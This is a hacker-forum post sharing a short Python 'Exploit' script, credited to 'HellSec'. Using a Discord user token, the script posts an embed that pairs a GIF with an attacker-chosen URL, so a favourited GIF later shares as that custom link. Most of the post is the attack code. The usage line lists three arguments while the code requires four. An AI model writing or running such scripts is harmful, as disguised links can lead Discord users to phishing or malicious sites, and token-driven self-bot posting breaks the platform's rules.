• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Custom GIF URL 自定义GIF地址


This Wind

Recommended Posts

Custom GIF URL

Description Send a GIF where if added to Favorites, the GIF URL will change to a customized URL when shared. It's unsure if this is intended or not.

Original founder

HellSec

Usage

$ py example.py <token> <gif url> <custom url>

 

import requests
import sys

class Exploit:

    def __init__(self, token, channel, gif, url):
        self.token = token
        self.channel_id = channel
        self.gif = gif
        self.url = url
        self.headers = {'Authorization': token}


    @property
    def _embed(self):
        return {'url': self.url, 'image': {'url': self.gif}}


    def execute(self):
        """ send GIF in text channel """
        return requests.post(f'https://discordapp.com/api/v6/channels/{self.channel_id}/messages', headers=self.headers, json={'embed': self._embed})

    
def main():
    if len(sys.argv) < 5:
        print(f'Usage: py {sys.argv[0]} <token> <channel id> <gif url> <custom url>')
        sys.exit()

    token = sys.argv[1]
    channel_id = sys.argv[2]
    gif_url = sys.argv[3]
    custom_url = sys.argv[4]

    exploit = Exploit(token, channel_id, gif_url, custom_url)

    exploit.execute()


if __name__ == '__main__':
    main()

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now